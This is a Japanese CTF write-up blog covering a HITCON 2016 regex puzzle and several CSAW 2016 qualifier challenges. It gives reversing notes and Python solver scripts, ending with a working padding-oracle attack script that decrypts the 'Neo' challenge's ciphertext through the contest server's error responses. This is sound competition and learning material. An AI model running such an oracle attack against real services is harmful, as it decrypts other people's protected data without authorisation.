KBGCMSbUYe]&&[^kWsTvGqrV\-mfMac]&&[^ZLmIfqdnjCzRXrQYsbBWv\-UJ:plu]&&[jOV}CaWBkMKuFvcESLhsilz{YNydmfQRUXDxJ:ZtP]&&[jLzqHRo{:kabdrK}ZUsQCGiuA\-mecExvgShwMFJOyt]&&[EtRYlumkyHDUTz:Ve}i\-nBJdcOqKZpWXNFbxShfs]&&[^IxRqKplz:fYoerTn uCMDiJVyNUAQE]&&[^z{AqXkswgMfaJdOIN:PjytRebU]])$
"""

inde = 0

def ins(s):
	global inde
	return inde * ' ' + s 

def spka(s):
	s = s[1:]
	d = 1
	r = ""
	res = []
	for c in s:
		r += c
		if c=='[':
			d += 1
		elif c==']':
			d -= 1
			if d==0:
				res.append(r)
				r = 0
	return res


def toa(ss):
	res = ""
	for s in ss:
		s = s[:-1]
		a = [1] * 256
		p = s.split('&&')
		#print p
		for d in p:
			d = d[1:-1]
			#print d
			if d[0]=='^':
				d = d[1:]
				for c in d:
					q = ord(c)
					a[q] = 0
			else:
				ta = [0] * 256
				for c in d:
					q = ord(c)
					ta[q] = 1
				for c in xrange(256):
					a[c] *= ta[c]
		
		for d in xrange(256):
			if a[d]==1:
				res += chr(d)
				break
	#print res
	return res

rs = [""]
i = 0
ps = []

ans = []

for c in bef:
	if c=='(':
		print ins('(')
		inde += 3
		if len(rs)>0:
			po = rs.pop()
			print 'naka ..',po
			ans.append(po)

		rs.append("")
	elif c==')':
		g = rs.pop()
		#print 'g .. ',g
		#print ins(g)
		g = spka(g)
		g = toa(g)
		ps.append(g)
		ans.append(g)
		print ins(g)
		print g
		inde -= 3
		print ins(')')
	else:
		if len(rs)>0:
			rs = rs[:-1] + [rs[-1] + c]
		else:
			rs += [c]
	i += 1
print ps
ans = ans[1:]
print ans

ta = ""
for d in ans:
	if d[0]=='\\':
		d = d.split('\\')
		d = d[1:]
		for x in d:
			p = int(x)
			ta += ps[p-1]
	else:
		ta += d
print ta

#hitcon{Re:Zero -Starting Programming in Another World-}

時間内に通したい人生だった。

感想

集まってやると、知見がその場で共有できるし問題を解くやる気が大いに向上する(個人比)のでとてもよかった(ただし徹夜は判断能力を奪う)。
終わってみるとチームでいろいろ解いたように思えるが、実際は日曜の晩とか、6時間ほどだれも得点しない、みたいな状況が生えていたりしたのでもうちょっとすぱすぱ進められるようになりたい。あと、結局最後、angry boy も moREも1時間ほど間に合わなくて得点できていない(650点が得られなかった)みたいな感じだったのでずいぶん心残りである。
自分はpwn力をわりとつけたと思っていたのに全く解けなかったのでなんだかなあ、と。64bitELFを読む根性をつけるか、読みやすくするツールを導入するべき。あとヒープがてんでだめなのでどうにかしたい。
SECCONに向けてもっと力をつける必要を感じた。

csaw ctf 2016 quals のwriteup

CSAW 2016 にTSGの面々(dai,moratorium08,satos)で参加してました。
14問解いて1226ptで126位でした。
自分が解いたり関わったりしたやつについてのWriteupっぽいものです。

The Rock

64bitのELF。stripped。
C++で書かれたやつだったので、objdumpをデマングルしてみたりする。c++filtというのでできるらしい。やったらわりと読みやすくなったので便利だった。

import os

def dem(s):
	os.system('echo "' + s + '" | c++filt > do.txt')
	with open('do.txt','r') as fp:
		res = fp.readlines()[0].split('\n')[0]
	#print res
	return res

with open('objd.txt','r') as fp:
	gs = ''.join(fp.readlines())
	ls = len(gs)
	ts = ""
	i = 0
	while i<ls:
		if gs[i]!='<':
			ts += gs[i]
			i += 1
		else:
			ts += gs[i]
			i += 1
			cs = ""
			while gs[i]!='>' and gs[i] != '@':
				cs += gs[i]
				i += 1
			ts += dem(cs)
			#print ts
	with open('demd.txt','w') as gp:
		gp.write(ts)

問題は正しい文字列を入れるとcorrect the flag is flag{入力文字列}を返してくれる系のやつ。
最初、適当なのを入れるとToo short or too long とか返ってくる。
lengthで調べると、

  4016d2:	e8 29 f7 ff ff       	call   400e00 <_ZNKSs6lengthEv@plt>
  4016d7:	48 83 f8 1e          	cmp    rax,0x1e  

というのがあったので、'a' * 30 をぶちこんでやると、passed 0 とか言われるようになる。
うまいことcorrectが出るようなパスを探すと、call 4017e6 の返り値をうまいことしてやればよいと分かる。4017e6は引数として自作謎構造体が与えられており、その中の2つの文字列を比較している模様。いろいろと入力を変えて調べてみると、片方は固定で、もう片方は入力に依存している。で、依存している方は'a' * 30 を入れると '^' * 30が、'a' * 15 + 'b' * 15 を入れると '^' * 15 + '_' * 15 が返ってくるのでどうやら各文字について変換してるっぽい。ここで'\x00' * 30 から '\xff' * 30 までを入力として走らせてみると、ひとつだけpassed 1 が返ってくるので順繰りに1文字ずつあわせていけばよいとわかる。

import os

bs = ""
while len(bs)<30:
	mbl = len(bs)
	for i in range(0,128):
		ns = bs + chr(i)
		ns += (30 - len(ns)) * 'a'
		with open('i.txt','w') as fp:
			fp.write(ns)
		os.system("./rock < i.txt > co.txt")
		
		ok = False
		with open('co.txt','r') as fp:
			rs = fp.readlines()[-1]
			rs = rs.split()[-1]
			#print rs
			if rs.isdigit():
				#print rs
				if int(rs,10)>len(bs):
					bs += chr(i)
					ok = True
		if ok:
			break
	print bs

	if mbl==len(bs):
		break

deedeedee

64bitのELF。not stripped。
実行してみると、

Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d
I generated it at compile time. :)
Can you decrypt it for me?

と言われる。いわゆるコンパイル時実行というやつ(テンプレートとかのあれ)らしい。中を見てみると、どうやらD言語で書かれていたらしく、D言語的デマングルがされてる。実際に出力部を見てみると、変換後の文字列がそのままデータとして格納されてるようで元の文字列は影も形もない。どないするねんとなる。

うろうろしていると、_D9deedeedee7encryptFNaNfAyaZAya という関数が見つかる。中をのぞいてみると、

edi , esi = _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya(edi,esi)
edi , esi = _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya(edi,esi)
...
こんなのがたくさん続く
...
edi , esi = _D9deedeedee33__T3encVAyaa9_343939343939343939Z3encFNaNfAyaZAya(edi,esi)

みたいな感じになってる。どうやら名前からするにそれぞれの関数はtemplate的なやつを用いてコンパイル時に作られたみたい、ということはこの関数が実行時にかまされたやつなのでは、と推測が立つ。

各関数を解析してみると、たとえば、_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAyaは、

convx(){
	acc = s[0];
	res = "";
	for(p,q in zip(circle("111"),s)){
		res.append(acc ^ (p ^ q));
	}
	return res;
}

みたいになってることがわかる。(D言語を書いたことがないので文法は適当)

ここでaccの情報は落ちてしまうが、xor演算はモノイドになるので圧縮できて、最後に256パターンを試してやればよい。あとは関数名を抽出してやって復元してやればよい。

ts = ""
with open('objd.txt') as fp:
	s = fp.readlines()
	i = 0
	while s[i] != '  44cde0:	55                   	push   rbp\n':
		print i,
		i += 1
	while s[i] != '  44e36b:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]\n':
		ts += s[i]
		i += 1
		
	with open('ed1.txt','w') as fp:
		fp.write(ts)


fs = []

with open('ed1.txt','r') as fp:
	ss = ''.join(fp.readlines())
	ss = ss.split('\n')
	for r in ss:
		#print 'x',r
		if len(r)>0 and r[-1] == '>':
			ads = r.split('<')[1][:-2]
			ads = ads.split('_')[-1]
			ads = ads.split('Z')[0]
			
			ts = ""
			ls = len(ads)
			for i in xrange(ls/2):
				#ts += ads[i*2:i*2+2] + ','
				ts += chr(int(ads[i*2:i*2+2],16))
			
			fs.append(ts)


#print fs
fs = fs[::-1]

bs = "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}"
bs = map(ord,bs)

for cv in fs:
	ts = []
	lv = len(cv)
	i = 0
	for c in bs:
		ts.append(c ^ ord(cv[i % lv]))
		i += 1
	bs = ts

#flag{t3mplat3_met4pr0gramming_is_gr8_4_3very0n3}

for i in xrange(256):
	ns = ""
	for c in bs:
		ns += chr(c ^ i)
	print ns

Sleeping

あんちくしょうシリーズその1。
謎ソースコードが与えられる。
len(key)==12ならbase64.b64encode(open("./sleeping.png",'rb').read()の値が返ってくる、とか書かれている。まずkeyが使われていないのが謎。また、ncして飛んでくる文字列をbase64デコードしてもpngの形式にならずただのdataだといわれる。なにこれ、エスパーでは...とかいいつつ放置していた。
ふと思い立ってPortable Network Graphics - Wikipediaを調べてみるとpngの先頭16byteは固定とのこと。ここでエスパー力が働き、len(key)==12のみ分かってるってことはkeyが繰り返しxorされているのでは!?となってこれをもとにkeyを算出してやるとなんか画像が復元されるので解ける。(この問題が溶けるとしたらこういう解法くらいしかないよなぁ...とか、ファイルの先頭の方のAscii文字度が高いのでなんかXOR的なあれでは...?くらいの推理はしていた)

Gametime

あんちくしょうシリーズその2。
音ゲーっぽいゲーム(Windows,32bit)が与えられるので、そのReversing...のはずだった。
「これパッチを当てるとこがたくさんあって面倒ですね。なんか1337と比較してるとこがあるし無限に時間がかかるのかな...?」「とりあえず遊んでみる？」
1～2分後...
「なんかThe key isとか出てるんだけどこれはなんなんですかね」「とりあえずSubmitしてみる？」 -> Accept
とかいうゲームを遊んでみるだけ問だったのでRev要素が0でした...(なんだったんだ)

Key

若干あんちくしょう。
Windows,32bitのReversing。
1. ふつうに起動すると、?W?h?a?t h?a?p?p?e?n?と言われる。調べてみると、C:\Users\CSAW2016\haha\flag_dir\flag.txtをOpenしようとしている部分が見つかるのでそれを作る。中に適当にflaghogrhogrとか書いておく。
2. 実行してみると、=W=r=o=n=g=K=e=y=と言われるので、見てみると、その直前あたりに判定ルーチン(sub_4020c0)があって、sub_4020c0(flag.txtの文字列,長さ,謎固定文字列(idg_cni~bjbfi|gsxb),長さ) みたいな呼び出され方をしている。
3. sub_4020c0はなんかめんどくさいことをやってるなー、とりあえず挙動でもみてみるかー、と思ってflag.txtの中身をidg_cni~bjbfi|gsxbにして動かすと、なんかYou Did It といわれる。
4. !? と思ってidg_cni~bjbfi|gsxbをsubmitするとCorrectと言われるのでおしまい。sub_4020c0はstrcmpを難読化したやつだったみたい。

途中めんどくさいなあと思って放っておいたのだけれど雑に手をつけたら雑に解けてしまった感じ。

Regexpire

Misc。実質PPC。
javascriptのっぽい正規表現が飛んでくるので、それにmatchする文字列を返してやる。
途中、\dとか\Dとか\wとか\Wを勘違いしていてなかなか苦労した。あとパーザはちょっと雑でざる。下手に書いてしまった気がする。

import struct, socket, sys, telnetlib, os

import urllib, time

class mystr:
	def __init__(sl,s):
		print 'init',s
		sl.s = s
		sl.i = len(s)-1

	def getc(sl):
		if sl.i==0 or sl.s[sl.i-1]!='\\':
			res = sl.s[sl.i]
			sl.i -= 1
		else:
			if sl.s[sl.i]=='D':
				res = 'a'
			elif sl.s[sl.i]=='d':
				res = '3'
			elif sl.s[sl.i]=='w':
				res = 'a'
			elif sl.s[sl.i]=='W':
				res = '%'
			else:
				res = [sl.i]
			sl.i -= 2
		return res
	
	def getw(sl):
		print 'getw',sl.i,sl.s[sl.i]
		c = sl.s[sl.i]
		if c==')':
			g = ""
			sl.i -= 1
			while sl.s[sl.i]!='|':
				g = sl.s[sl.i] + g
				sl.i -= 1
			res = mystr(g).getma()
			while sl.s[sl.i]!='(':
				sl.i -= 1
			sl.i -= 1
		elif c=='*':
			sl.i -= 1
			sl.getw()
			res = ""
		elif c=='+':
			sl.i -= 1
			res = sl.getw()
		elif c==']':
			sl.i -= 1
			res = sl.getc()
			"""
			while res =='' or res == ' ':
				res = sl.getc()
			"""
			tc = ''
			while tc!='[':
				tc = sl.getc()
		elif c=='}':
			sl.i -= 1
			p = ""
			while sl.s[sl.i]!='{':
				p = sl.s[sl.i] + p
				sl.i -= 1
			x = int(p,10)
			sl.i -= 1
			pw = sl.getw()
			res = pw * x
		else:
			res = sl.getc()
		return res
	
	def getma(sl):
		res = ""
		while sl.i>=0:
			res = sl.getw() + res
			print sl.i,res

		print res
		return res


'''
q = '[sjN]*[a-zA-Z]0IN+[a-z][a-z]*u{9}\W(trump|clinton){6}[i4yCGL][i-r]*'

print mystr(q).getma()
exit(-1)
'''

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('misc.chal.csaw.io', 8001))

def getunt(c):
	res = ""
	while res=='' or res[-len(c):]!=c:
		res += sock.recv(1)
	print res
	return res

getunt('?\n')

while True:
	s = getunt('\n')
	s = s[:-1]
	if s=='Irregular':
		break
	res = mystr(s).getma()
	sock.send(res + '\n')

Tutorial

前の記事参照。

感想

Reversing面倒くさいなあと思いつついろいろと解いていた感じ。

エスパー問がたくさんあってエスパー力が身についたのでよかった(よくない)。エスパー問は撲滅されるべき。

はじめて生のCTF中にpwn問題を通すことができたのでいい記念になった。

追記

Neo

大会中にとけなかったやつ。Padding Oracle Attackだと予想はついたものの、自分で一度も書いたことがなく、また他のとこから引っ張ってきたコードが動かなかったので解けずじまいだった。
大会終了後もしばらくサービスが動いていたので解いた。

#coding: utf-8

import urllib


from HTMLParser import HTMLParser

class TestParser(HTMLParser):
	def __init__(self):
		HTMLParser.__init__(self)
		self.findederr = False
	def handle_starttag(self,tagname,attribute):
		if tagname.lower() == "div":
			if attribute[0][1]=='alert alert-error':
				self.findederr = True

def oracle(gs):
	#print gs
	url = 'http://crypto.chal.csaw.io:8001/'
	params = urllib.urlencode({'matrix-id':gs})

	#print 'send',
	#print params
	f = urllib.urlopen(url, params)

	s = f.read()
	#print s
	#print 'recv',
	
	parser = TestParser()
	parser.feed(s)
	res = parser.findederr
	parser.close()
	
	return not res


import base64
#bs = "pDjx7VaOqCkjk/AniTtGezPvSfBjXzy6oWg7PjGrJxvnAHbQPXwU7Zm87abBv4OIcQN+mFeG7mwIOb+cg+8//Ud0HpJXowsgLHkE/CEIrag="

bs = "nfUgtYJZpGxz7mlMKFaGIuPmDBSiO7DrtuULgAawfNULJyjnYRP4AzZp7Mwi/ZvFDLGKKVvHv0TqhdcklTi0ygwfQM+XRYCo+dFLq8qEkQ4="
bs = base64.b64decode(bs)


blocks = []
for i in xrange(len(bs)/16):
	blocks.append(map(ord,bs[i*16:(i+1)*16]))
print blocks

plain = ""

idx = 0
for nb in blocks[1:]:
	#b1 = map(ord,bs[80-16:80])
	npl = [0] * 16

	for n in range(0,16)[::-1]:
		pn = 16-n
		for c in xrange(256):
			#print c,
			npl[n] = c
			sv = [npl[i] ^ pn for i in xrange(16)]
			sv += nb
			sv = ''.join(map(chr,sv))
			sv = base64.b64encode(sv)
			if oracle(sv):
				print 'n .. ', n, 'c .. ',c
				break
	
	npl = map(lambda (p,q): p^q,zip(npl,blocks[idx]))
	npl = ''.join(map(chr,npl))
	print npl
	plain += npl
	idx += 1

print plain

#flag{what_if_i_told_you_you_solved_the_challenge}